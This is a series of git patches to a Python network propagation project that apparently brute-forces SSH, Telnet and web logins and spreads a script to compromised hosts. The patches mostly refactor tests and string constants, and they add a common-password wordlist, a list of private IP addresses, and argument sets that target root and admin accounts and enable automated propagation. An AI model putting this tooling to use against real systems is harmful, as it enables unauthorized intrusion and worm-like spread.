strings.TEST_LINES[2] + assert lines_list[3] == strings.TEST_LINES[3] + assert lines_list[4] == strings.TEST_LINES[4] + assert lines_list[5] == strings.TEST_LINES[5] + + +def test_assigning_values(): + """ + This function tests the assigning_values function in the net_propagation + script. It uses example arguments to do this stored in strings.py, but + before it does that the bad path is checked by passing in a single argument + with no value to get a runtime error. + """ + def test_exit_and_show_instructions(capfd): From d90417be14642c567d3c786cf0d44fd1c298bc81 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 14 Mar 2022 11:15:07 +0000 Subject: [PATCH 35/78] [FIX] Forgot to open file from filename --- src/test_net_propagation.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 48a02eb..7996fa4 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -45,8 +45,8 @@ def test_append_lines_from_file_to_list(): for readability in test results i.e we'll be able to correlate a specific line with an error. """ - lines_list = net_propagation.append_lines_from_file_to_list( - strings.TEST_FILENAME) + with open(str(strings.TEST_FILENAME)) as file: + lines_list = net_propagation.append_lines_from_file_to_list(file) assert lines_list[0] == strings.TEST_LINES[0] assert lines_list[1] == strings.TEST_LINES[1] assert lines_list[2] == strings.TEST_LINES[2] From 3060d01c32a17f1be733de7a2a9647f02175fe4f Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 14 Mar 2022 11:21:34 +0000 Subject: [PATCH 36/78] [FIX] Removing string declaration, says can't open file? --- src/test_net_propagation.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 7996fa4..bcd2bf6 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -45,7 +45,7 @@ def test_append_lines_from_file_to_list(): for readability in test results i.e we'll be able to correlate a specific line with an error. """ - with open(str(strings.TEST_FILENAME)) as file: + with open(strings.TEST_FILENAME) as file: lines_list = net_propagation.append_lines_from_file_to_list(file) assert lines_list[0] == strings.TEST_LINES[0] assert lines_list[1] == strings.TEST_LINES[1] From 14bfe2d989f4ac36c8dc23b50ef5746aa173bdf9 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 14 Mar 2022 11:21:34 +0000 Subject: [PATCH 37/78] Revert "[FIX] Removing string declaration, says can't open file?" This reverts commit 3060d01c32a17f1be733de7a2a9647f02175fe4f. --- src/test_net_propagation.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index bcd2bf6..7996fa4 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -45,7 +45,7 @@ def test_append_lines_from_file_to_list(): for readability in test results i.e we'll be able to correlate a specific line with an error. """ - with open(strings.TEST_FILENAME) as file: + with open(str(strings.TEST_FILENAME)) as file: lines_list = net_propagation.append_lines_from_file_to_list(file) assert lines_list[0] == strings.TEST_LINES[0] assert lines_list[1] == strings.TEST_LINES[1] From 53eb967b3abbc6c4713e4eb74fd2e7b630428cca Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 14 Mar 2022 11:44:37 +0000 Subject: [PATCH 38/78] [FIX] Trying adding the directory --- src/strings.py | 2 +- src/test_net_propagation.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/src/strings.py b/src/strings.py index f2b880f..9755c4e 100644 --- a/src/strings.py +++ b/src/strings.py @@ -188,7 +188,7 @@ TEST = "tests" # Name of the test text file. -TEST_FILENAME = "test_file.txt" +TEST_FILENAME = "src/test_file.txt" # Lines to check from the test file. TEST_LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 7996fa4..da1f783 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -64,7 +64,6 @@ def test_assigning_values(): """ - def test_exit_and_show_instructions(capfd): """ This function tests the exit_and_show_instructions function. From 5abd34daa17fa7c4db8e955bf72c1539bf2f790e Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 14 Mar 2022 17:35:05 +0000 Subject: [PATCH 39/78] [UPDATES] Started looking at setting test arguments to be passed in --- src/strings.py | 7 ++++++- src/test_net_propagation.py | 3 ++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/src/strings.py b/src/strings.py index 9755c4e..62015dd 100644 --- a/src/strings.py +++ b/src/strings.py @@ -187,7 +187,7 @@ # A stringing just for tests. TEST = "tests" -# Name of the test text file. +# Name of the test text file, prepended with src/ for Pytest to work. TEST_FILENAME = "src/test_file.txt" # Lines to check from the test file. @@ -200,6 +200,11 @@ "eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non" " proident, sunt", "in culpa qui officia deserunt mollit anim id" " est laborum."] +# Arguments to check and test. Essentially example usages. +TEST_ARGUMENTS_SET_ONE = ["-t", "test_ip_list.txt", "-p", "22,23,25,80", "-u", "admin", "-f", "my_password_list.txt"] +TEST_ARGUMENTS_SET_TWO = ["-t", "ip_list.txt", "-p", "22,23,25,80", "-u", "admin", "-f", "my_password_list.txt"] +TEST_ARGUMENTS_SET_THREE = ["-t", "test_ip_list.txt", "-p", "22,23,25,80", "-u", "admin", "-f", "my_password_list.txt"] +TEST_ARGUMENTS_SET_FOUR = ["-t", "test_ip_list.txt", "-p", "22,23,25,80", "-u", "admin", "-f", "my_password_list.txt"] # Letting the user know an IP address and port pair is being tested. Again, # use the debug tools in your IDE of choice to see the specific values. diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index da1f783..7679f20 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -42,7 +42,7 @@ def test_append_lines_from_file_to_list(): This function tests the append_lines_from_file_to_list function in the net_propagation script. It feeds in a test file, and we check the result it returns for validity. Each line is checked independently without a for loop - for readability in test results i.e we'll be able to correlate a specific + for readability in test results i.e. we'll be able to correlate a specific line with an error. """ with open(str(strings.TEST_FILENAME)) as file: @@ -64,6 +64,7 @@ def test_assigning_values(): """ + def test_exit_and_show_instructions(capfd): """ This function tests the exit_and_show_instructions function. From 44ed9bfcba543dc4251c677a83e96e5a37b5aa6e Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Mon, 14 Mar 2022 18:28:34 +0000 Subject: [PATCH 40/78] [UPDATE] Further work on test arguments, creating separate test files --- src/strings.py | 17 ++++++++++---- src/{ => test_files}/test_file.txt | 0 src/test_files/test_ip_list.txt | 14 +++++++++++ src/test_files/test_passwords_list.txt | 32 ++++++++++++++++++++++++++ src/test_files/test_strings.py | 0 5 files changed, 58 insertions(+), 5 deletions(-) rename src/{ => test_files}/test_file.txt (100%) create mode 100644 src/test_files/test_ip_list.txt create mode 100644 src/test_files/test_passwords_list.txt create mode 100644 src/test_files/test_strings.py diff --git a/src/strings.py b/src/strings.py index 62015dd..847e3dc 100644 --- a/src/strings.py +++ b/src/strings.py @@ -188,7 +188,10 @@ TEST = "tests" # Name of the test text file, prepended with src/ for Pytest to work. -TEST_FILENAME = "src/test_file.txt" +TEST_FILENAME = "src/test_files/test_file.txt" + +# Name of the test IP list file, prepended with src/ for Pytest to work. +TEST_IP_LIST = "src/test_files/test_ip_list.txt" # Lines to check from the test file. TEST_LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " @@ -201,10 +204,14 @@ " proident, sunt", "in culpa qui officia deserunt mollit anim id" " est laborum."] # Arguments to check and test. Essentially example usages. -TEST_ARGUMENTS_SET_ONE = ["-t", "test_ip_list.txt", "-p", "22,23,25,80", "-u", "admin", "-f", "my_password_list.txt"] -TEST_ARGUMENTS_SET_TWO = ["-t", "ip_list.txt", "-p", "22,23,25,80", "-u", "admin", "-f", "my_password_list.txt"] -TEST_ARGUMENTS_SET_THREE = ["-t", "test_ip_list.txt", "-p", "22,23,25,80", "-u", "admin", "-f", "my_password_list.txt"] -TEST_ARGUMENTS_SET_FOUR = ["-t", "test_ip_list.txt", "-p", "22,23,25,80", "-u", "admin", "-f", "my_password_list.txt"] +TEST_ARGUMENTS_SET_ONE = [ARGUMENT_IP_ADDRESS_FILENAME, "test_ip_list.txt", "-p", "22,23,25,80", "-u", + "admin", "-f", "my_password_list.txt"] +TEST_ARGUMENTS_SET_TWO = [ARGUMENT_IP_ADDRESS_FILENAME, "ip_list.txt", "-p", "22", "-u", "root" "-f", + "passwords.txt"] +TEST_ARGUMENTS_SET_THREE = [ARGUMENT_IP_ADDRESS_FILENAME, "ip_list.txt", "-p", "22", "-u", "root", + "-f", "passwords.txt", "-d", "test.txt"] +TEST_ARGUMENTS_SET_FOUR = [ARGUMENT_SCAN_LOCAL_NETWORKS, "-p", "22,23", "-u", "root", "-f", + "passwords.txt", "-P"] # Letting the user know an IP address and port pair is being tested. Again, # use the debug tools in your IDE of choice to see the specific values. diff --git a/src/test_file.txt b/src/test_files/test_file.txt similarity index 100% rename from src/test_file.txt rename to src/test_files/test_file.txt diff --git a/src/test_files/test_ip_list.txt b/src/test_files/test_ip_list.txt new file mode 100644 index 0000000..df93ec6 --- /dev/null +++ b/src/test_files/test_ip_list.txt @@ -0,0 +1,14 @@ +10.0.4.3 +10.0.0.2 +10.0.3.2 +192.168.3.2 +172.18.99.55 +192.168.2.2 +10.0.0.3 +10.0.0.4 +172.16.77.77 +172.1.1.1 +192.244.244.6 +10.0.0.5 +10.0.0.77 +10.0.0.6 \ No newline at end of file diff --git a/src/test_files/test_passwords_list.txt b/src/test_files/test_passwords_list.txt new file mode 100644 index 0000000..3c5fc90 --- /dev/null +++ b/src/test_files/test_passwords_list.txt @@ -0,0 +1,32 @@ +123456 +ytrewq +123456789 +password +antisec +princess +1234567 +rockyou +12345678 +abc123 +nicole +daniel +ubuntu +monkey +lovely +dualcore +jessica +654321 +michael +ashley +qwerty +111111 +thispasswordwillwork +000000 +tigger +sunshine +chocolate +password1 +anotherpassword +soccer +anthony +phreak \ No newline at end of file diff --git a/src/test_files/test_strings.py b/src/test_files/test_strings.py new file mode 100644 index 0000000..e69de29 From 7f98398cb5510a34eaffd194389cb36f5e548c2c Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Tue, 15 Mar 2022 09:33:59 +0000 Subject: [PATCH 41/78] [UPDATE] Further work on test files, breaking changes, will fix --- src/strings.py | 33 ------------ src/test_files/strings.py | 98 ++++++++++++++++++++++++++++++++++ src/test_files/test_strings.py | 0 src/test_net_propagation.py | 19 +++---- 4 files changed, 108 insertions(+), 42 deletions(-) create mode 100644 src/test_files/strings.py delete mode 100644 src/test_files/test_strings.py diff --git a/src/strings.py b/src/strings.py index 847e3dc..fbb22ee 100644 --- a/src/strings.py +++ b/src/strings.py @@ -184,39 +184,6 @@ # The default port for the telnet service. TELNET_PORT = "23" -# A stringing just for tests. -TEST = "tests" - -# Name of the test text file, prepended with src/ for Pytest to work. -TEST_FILENAME = "src/test_files/test_file.txt" - -# Name of the test IP list file, prepended with src/ for Pytest to work. -TEST_IP_LIST = "src/test_files/test_ip_list.txt" - -# Lines to check from the test file. -TEST_LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " - "do eiusmod tempor", "incididunt ut labore et dolore magna " - "aliqua. Ut enim ad minim veniam, quis", - "nostrud exercitation ullamco laboris nisi ut aliquip ex ea " - "commodo consequat.", "Duis aute irure dolor in reprehenderit " - "in voluptate velit esse cillum dolore", - "eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non" - " proident, sunt", "in culpa qui officia deserunt mollit anim id" - " est laborum."] -# Arguments to check and test. Essentially example usages. -TEST_ARGUMENTS_SET_ONE = [ARGUMENT_IP_ADDRESS_FILENAME, "test_ip_list.txt", "-p", "22,23,25,80", "-u", - "admin", "-f", "my_password_list.txt"] -TEST_ARGUMENTS_SET_TWO = [ARGUMENT_IP_ADDRESS_FILENAME, "ip_list.txt", "-p", "22", "-u", "root" "-f", - "passwords.txt"] -TEST_ARGUMENTS_SET_THREE = [ARGUMENT_IP_ADDRESS_FILENAME, "ip_list.txt", "-p", "22", "-u", "root", - "-f", "passwords.txt", "-d", "test.txt"] -TEST_ARGUMENTS_SET_FOUR = [ARGUMENT_SCAN_LOCAL_NETWORKS, "-p", "22,23", "-u", "root", "-f", - "passwords.txt", "-P"] - -# Letting the user know an IP address and port pair is being tested. Again, -# use the debug tools in your IDE of choice to see the specific values. -TESTING_IP_PORT_PAIR = "Now testing an IP address and port pair..." - # Letting the user know a file couldn't be transferred over telnet or SSH # default ports. TRANSFER_FAILURE_SSH_TELNET = "File couldn't be transferred over port 22 or 23" diff --git a/src/test_files/strings.py b/src/test_files/strings.py new file mode 100644 index 0000000..08f4ffc --- /dev/null +++ b/src/test_files/strings.py @@ -0,0 +1,98 @@ +#!/usr/bin/python3 + +from src import strings + +""" + - Importing strings for common string resources. +""" + +""" +===PLEASE READ=== +String functions and constants are organised alphabetically. Every string +function has a block comment explaining what it does and where it's used and +every string constant has a comment describing its use. These strings are +exclusively used in tests. +""" + +# Admin user string. +ADMIN = "admin" + +# All ports list, for utilising all services in the scripts. +ALL_PORTS = "22,23,25,80" + +# Name of the test text file, prepended with src/ for Pytest to work. +FILE = "src/test_files/test_file.txt" + +# Name of the test IP list file, prepended with src/ for Pytest to work. +IP_LIST = "src/test_files/test_ip_list.txt" + +# Lines to check from the test file. +LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " + "do eiusmod tempor", "incididunt ut labore et dolore magna " + "aliqua. Ut enim ad minim veniam, quis", + "nostrud exercitation ullamco laboris nisi ut aliquip ex ea " + "commodo consequat.", "Duis aute irure dolor in reprehenderit " + "in voluptate velit esse cillum dolore", + "eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non" + " proident, sunt", "in culpa qui officia deserunt mollit anim id" + " est laborum."] + +# Root user string. +ROOT = "root" + +# List of dummy passwords +PASSWORDS_LIST = "password_list.txt" + +# A string just for tests. +RANDOM_STRING = "tests" + +# SSH and Telnet port specification +SSH_AND_TELNET_PORTS = "22,23" + + +def arguments_set_one(): + """ + This function contains the first set of arguments used for testing + purposes. This runs the script against all services and four ports + :return : The arguments themselves + """ + return strings.ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, \ + strings.ARGUMENT_PORTS, ALL_PORTS, strings.ARGUMENT_USERNAME, \ + ADMIN, strings.ARGUMENT_PWS_FILENAME, PASSWORDS_LIST + + +def arguments_set_two(): + """ + This function contains the second set of arguments used for testing + purposes. This just runs the scripts against one port / service + :return : The arguments themselves + """ + return strings.ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, \ + strings.ARGUMENT_PORTS, strings.SSH_PORT, \ + strings.ARGUMENT_USERNAME, ROOT, strings.ARGUMENT_PWS_FILENAME,\ + PASSWORDS_LIST + + +def arguments_set_three(): + """ + This function contains the third set of arguments used for testing + purposes, except this time it propagates a specific file over SSH + :return : The arguments themselves + """ + return strings.ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, \ + strings.ARGUMENT_PORTS, strings.SSH_PORT, \ + strings.ARGUMENT_USERNAME, ROOT, strings.ARGUMENT_PWS_FILENAME, \ + PASSWORDS_LIST, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE + + +def arguments_set_four(): + """ + This function contains the fourth set of arguments used for testing + purposes, except this time we're running the automated propagation feature + over SSH and Telnet + :return : The arguments themselves + """ + return strings.ARGUMENT_SCAN_LOCAL_NETWORKS, strings.ARGUMENT_PORTS, \ + SSH_AND_TELNET_PORTS, strings.ARGUMENT_USERNAME, ROOT, \ + strings.ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, \ + strings.ARGUMENT_PROPAGATE diff --git a/src/test_files/test_strings.py b/src/test_files/test_strings.py deleted file mode 100644 index e69de29..0000000 diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 7679f20..3d01051 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -2,6 +2,7 @@ import net_propagation import strings +import test_files.strings """ - Importing net_propagation for testing. @@ -26,8 +27,8 @@ def test_additional_actions(): arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] ip = strings.BLANK_IP - username = strings.TEST - transfer_file_filename = strings.TEST + username = test_files.strings.RANDOM_STRING + transfer_file_filename = test_files.strings.RANDOM_STRING ports = [strings.SSH_PORT, strings.TELNET_PORT, strings.WEB_PORT_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHTY, @@ -45,14 +46,14 @@ def test_append_lines_from_file_to_list(): for readability in test results i.e. we'll be able to correlate a specific line with an error. """ - with open(str(strings.TEST_FILENAME)) as file: + with open(str(test_files.strings.TEST_FILENAME)) as file: lines_list = net_propagation.append_lines_from_file_to_list(file) - assert lines_list[0] == strings.TEST_LINES[0] - assert lines_list[1] == strings.TEST_LINES[1] - assert lines_list[2] == strings.TEST_LINES[2] - assert lines_list[3] == strings.TEST_LINES[3] - assert lines_list[4] == strings.TEST_LINES[4] - assert lines_list[5] == strings.TEST_LINES[5] + assert lines_list[0] == test_files.strings.TEST_LINES[0] + assert lines_list[1] == test_files.strings.TEST_LINES[1] + assert lines_list[2] == test_files.strings.TEST_LINES[2] + assert lines_list[3] == test_files.strings.TEST_LINES[3] + assert lines_list[4] == test_files.strings.TEST_LINES[4] + assert lines_list[5] == test_files.strings.TEST_LINES[5] def test_assigning_values(): From e14f57ad12285bedec0b92c8f6a188f4d3637d39 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Tue, 15 Mar 2022 11:10:10 +0000 Subject: [PATCH 42/78] [FIX] Deleted test specific string file, fixed some linter warnings --- src/main.py | 12 +++-- src/strings.py | 92 +++++++++++++++++++++++++++++++--- src/test_files/strings.py | 98 ------------------------------------- src/test_net_propagation.py | 20 ++++---- 4 files changed, 101 insertions(+), 121 deletions(-) delete mode 100644 src/test_files/strings.py diff --git a/src/main.py b/src/main.py index 3a9ef80..5a73c6e 100755 --- a/src/main.py +++ b/src/main.py @@ -35,14 +35,16 @@ def main(): # Validating and assigning values based on arguments passed in. valid_values = net_propagation.checking_arguments(arguments) # If they are valid values... - if valid_values is not None: + if valid_values is None: + # Show the user instructions and exit gracefully. + net_propagation.exit_and_show_instructions() + sys.exit(-1) + + # Else... + else: # Assign them... ip_list, target_ports, target_username, passwords_filename = \ valid_values - # Else... - else: - # Show the user instructions and exit gracefully. - net_propagation.exit_and_show_instructions() # The end user specified a local scan must be executed, the result of the # local scan will extend the current ip_list. diff --git a/src/strings.py b/src/strings.py index fbb22ee..89b8509 100644 --- a/src/strings.py +++ b/src/strings.py @@ -7,6 +7,12 @@ every string constant has a comment describing its use. """ +# Admin user string. +ADMIN = "admin" + +# All ports list, for utilising all services in the scripts. +ALL_PORTS = "22,23,25,80" + # Argument to denote the filename of the IP address file. ARGUMENT_IP_ADDRESS_FILENAME = "-t" @@ -70,6 +76,9 @@ # Prompts the user that their fetching the local interface list. FETCHING_LOCAL_INTERFACE_LIST = "Fetching local interface list..." +# Name of the test text file, prepended with src/ for Pytest to work. +FILE = "src/test_files/test_file.txt" + # Lets the user know a file doesn't exist. FILE_DOES_NOT_EXIST = "A specified file does not exist" @@ -85,6 +94,20 @@ # Letting the user know a propagation action had failed. IMPOSSIBLE_ACTION = "It was impossible to bruteforce this IP address and port" +# Name of the test IP list file, prepended with src/ for Pytest to work. +IP_LIST = "src/test_files/test_ip_list.txt" + +# Lines to check from the test file. +LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " + "do eiusmod tempor", "incididunt ut labore et dolore magna " + "aliqua. Ut enim ad minim veniam, quis", + "nostrud exercitation ullamco laboris nisi ut aliquip ex ea " + "commodo consequat.", "Duis aute irure dolor in reprehenderit " + "in voluptate velit esse cillum dolore", + "eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non" + " proident, sunt", "in culpa qui officia deserunt mollit anim id" + " est laborum."] + # The login prompt a user usually sees with SSH/Telnet. LOGIN_PROMPT = "login:" @@ -104,9 +127,11 @@ PASSWORD_PROMPT_WEB = "password:" # TODO: The way passwords are handled needs to be heavily revised -# (super insecure) +# (super insecure), also maybe delete this redundant string commented below? # The default password file being used by scripts. -PASSWORDS_FILE = "passwords.txt" +# PASSWORDS_FILE = "passwords.txt" +# List of dummy passwords +PASSWORDS_LIST = "password_list.txt" # Parameters were used incorrectly, so we're telling the user what to do. PARAMETER_MISUSE = "Parameter misuse, check help text below" @@ -121,11 +146,6 @@ # The argument for ping which specifies the number of packets sent. PING_ARGUMENT = "-c" -# TODO: On top of moving this prompt to UI, there should be no difference in -# the prompt, avoid confusion. -# A different password prompt following the previous one. -RSA_PROMPT_AGAIN = "Please type in this password again: " - # The help prompt for the end user. PLS_HELP = "Parameters:\n\t" + ARGUMENT_IP_ADDRESS_FILENAME + \ " -> Filename for a file containing a list of " \ @@ -149,13 +169,24 @@ + ARGUMENT_PORTS + " 22 " + ARGUMENT_USERNAME + " root " + \ ARGUMENT_PWS_FILENAME + " passwords.txt" +# A string just for tests. +RANDOM_STRING = "tests" + # Newline character, mostly used to mimic an enter key press. RETURN_OR_NEWLINE = "\n" +# Root user string. +ROOT = "root" + # RSA specific password prompt. RSA_AND_PROMPT = "Please type in this password below and say yes to any " \ "RSA key prompts: " +# TODO: On top of moving this prompt to UI, there should be no difference in +# the prompt, avoid confusion. +# A different password prompt following the previous one. +RSA_PROMPT_AGAIN = "Please type in this password again: " + # Specifies that the script has been propagated over a port (use debug for # specific port number). SCRIPT_PROPAGATED = "Script propagated over this port" @@ -166,6 +197,9 @@ # Just an SSH strings, memory saving measures again. SSH = "SSH" +# SSH and Telnet port specification +SSH_AND_TELNET_PORTS = "22,23" + # Same as above just lowercase, needed in some instances. SSH_LOWERCASE = "ssh" @@ -232,6 +266,50 @@ def adding_address_to_interface(specific_address, interface): + str(interface) + "'s subnet." +def arguments_set_one(): + """ + This function contains the first set of arguments used for testing + purposes. This runs the script against all services and four ports + :return : The arguments themselves + """ + return ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, \ + ARGUMENT_PORTS, ALL_PORTS, ARGUMENT_USERNAME, \ + ADMIN, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST + + +def arguments_set_two(): + """ + This function contains the second set of arguments used for testing + purposes. This just runs the scripts against one port / service + :return : The arguments themselves + """ + return ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, \ + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST + + +def arguments_set_three(): + """ + This function contains the third set of arguments used for testing + purposes, except this time it propagates a specific file over SSH + :return : The arguments themselves + """ + return ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, \ + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, \ + ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE + + +def arguments_set_four(): + """ + This function contains the fourth set of arguments used for testing + purposes, except this time we're running the automated propagation feature + over SSH and Telnet + :return : The arguments themselves + """ + return ARGUMENT_SCAN_LOCAL_NETWORKS, ARGUMENT_PORTS, \ + SSH_AND_TELNET_PORTS, ARGUMENT_USERNAME, ROOT, \ + ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, ARGUMENT_PROPAGATE + + def cat_file(filename): """ This function creates a command for concatenating a specific file diff --git a/src/test_files/strings.py b/src/test_files/strings.py deleted file mode 100644 index 08f4ffc..0000000 --- a/src/test_files/strings.py +++ /dev/null @@ -1,98 +0,0 @@ -#!/usr/bin/python3 - -from src import strings - -""" - - Importing strings for common string resources. -""" - -""" -===PLEASE READ=== -String functions and constants are organised alphabetically. Every string -function has a block comment explaining what it does and where it's used and -every string constant has a comment describing its use. These strings are -exclusively used in tests. -""" - -# Admin user string. -ADMIN = "admin" - -# All ports list, for utilising all services in the scripts. -ALL_PORTS = "22,23,25,80" - -# Name of the test text file, prepended with src/ for Pytest to work. -FILE = "src/test_files/test_file.txt" - -# Name of the test IP list file, prepended with src/ for Pytest to work. -IP_LIST = "src/test_files/test_ip_list.txt" - -# Lines to check from the test file. -LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " - "do eiusmod tempor", "incididunt ut labore et dolore magna " - "aliqua. Ut enim ad minim veniam, quis", - "nostrud exercitation ullamco laboris nisi ut aliquip ex ea " - "commodo consequat.", "Duis aute irure dolor in reprehenderit " - "in voluptate velit esse cillum dolore", - "eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non" - " proident, sunt", "in culpa qui officia deserunt mollit anim id" - " est laborum."] - -# Root user string. -ROOT = "root" - -# List of dummy passwords -PASSWORDS_LIST = "password_list.txt" - -# A string just for tests. -RANDOM_STRING = "tests" - -# SSH and Telnet port specification -SSH_AND_TELNET_PORTS = "22,23" - - -def arguments_set_one(): - """ - This function contains the first set of arguments used for testing - purposes. This runs the script against all services and four ports - :return : The arguments themselves - """ - return strings.ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, \ - strings.ARGUMENT_PORTS, ALL_PORTS, strings.ARGUMENT_USERNAME, \ - ADMIN, strings.ARGUMENT_PWS_FILENAME, PASSWORDS_LIST - - -def arguments_set_two(): - """ - This function contains the second set of arguments used for testing - purposes. This just runs the scripts against one port / service - :return : The arguments themselves - """ - return strings.ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, \ - strings.ARGUMENT_PORTS, strings.SSH_PORT, \ - strings.ARGUMENT_USERNAME, ROOT, strings.ARGUMENT_PWS_FILENAME,\ - PASSWORDS_LIST - - -def arguments_set_three(): - """ - This function contains the third set of arguments used for testing - purposes, except this time it propagates a specific file over SSH - :return : The arguments themselves - """ - return strings.ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, \ - strings.ARGUMENT_PORTS, strings.SSH_PORT, \ - strings.ARGUMENT_USERNAME, ROOT, strings.ARGUMENT_PWS_FILENAME, \ - PASSWORDS_LIST, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE - - -def arguments_set_four(): - """ - This function contains the fourth set of arguments used for testing - purposes, except this time we're running the automated propagation feature - over SSH and Telnet - :return : The arguments themselves - """ - return strings.ARGUMENT_SCAN_LOCAL_NETWORKS, strings.ARGUMENT_PORTS, \ - SSH_AND_TELNET_PORTS, strings.ARGUMENT_USERNAME, ROOT, \ - strings.ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, \ - strings.ARGUMENT_PROPAGATE diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 3d01051..14738db 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -2,7 +2,6 @@ import net_propagation import strings -import test_files.strings """ - Importing net_propagation for testing. @@ -27,8 +26,8 @@ def test_additional_actions(): arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] ip = strings.BLANK_IP - username = test_files.strings.RANDOM_STRING - transfer_file_filename = test_files.strings.RANDOM_STRING + username = strings.RANDOM_STRING + transfer_file_filename = strings.RANDOM_STRING ports = [strings.SSH_PORT, strings.TELNET_PORT, strings.WEB_PORT_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHTY, @@ -46,14 +45,14 @@ def test_append_lines_from_file_to_list(): for readability in test results i.e. we'll be able to correlate a specific line with an error. """ - with open(str(test_files.strings.TEST_FILENAME)) as file: + with open(str(strings.FILE)) as file: lines_list = net_propagation.append_lines_from_file_to_list(file) - assert lines_list[0] == test_files.strings.TEST_LINES[0] - assert lines_list[1] == test_files.strings.TEST_LINES[1] - assert lines_list[2] == test_files.strings.TEST_LINES[2] - assert lines_list[3] == test_files.strings.TEST_LINES[3] - assert lines_list[4] == test_files.strings.TEST_LINES[4] - assert lines_list[5] == test_files.strings.TEST_LINES[5] + assert lines_list[0] == strings.LINES[0] + assert lines_list[1] == strings.LINES[1] + assert lines_list[2] == strings.LINES[2] + assert lines_list[3] == strings.LINES[3] + assert lines_list[4] == strings.LINES[4] + assert lines_list[5] == strings.LINES[5] def test_assigning_values(): @@ -65,7 +64,6 @@ def test_assigning_values(): """ - def test_exit_and_show_instructions(capfd): """ This function tests the exit_and_show_instructions function. From 9dd1b222d306ed6447c41dea644f5db82b9f8c6d Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Tue, 15 Mar 2022 17:40:35 +0000 Subject: [PATCH 43/78] [UPDATE] Started moving strings that rely on other strings in functions --- src/strings.py | 52 ++++++++++--------- src/test_files/{test_file.txt => file.txt} | 0 ..._passwords_list.txt => passwords_list.txt} | 0 3 files changed, 28 insertions(+), 24 deletions(-) rename src/test_files/{test_file.txt => file.txt} (100%) rename src/test_files/{test_passwords_list.txt => passwords_list.txt} (100%) diff --git a/src/strings.py b/src/strings.py index 89b8509..c4c9f36 100644 --- a/src/strings.py +++ b/src/strings.py @@ -77,7 +77,7 @@ FETCHING_LOCAL_INTERFACE_LIST = "Fetching local interface list..." # Name of the test text file, prepended with src/ for Pytest to work. -FILE = "src/test_files/test_file.txt" +FILE = "src/test_files/file.txt" # Lets the user know a file doesn't exist. FILE_DOES_NOT_EXIST = "A specified file does not exist" @@ -146,29 +146,6 @@ # The argument for ping which specifies the number of packets sent. PING_ARGUMENT = "-c" -# The help prompt for the end user. -PLS_HELP = "Parameters:\n\t" + 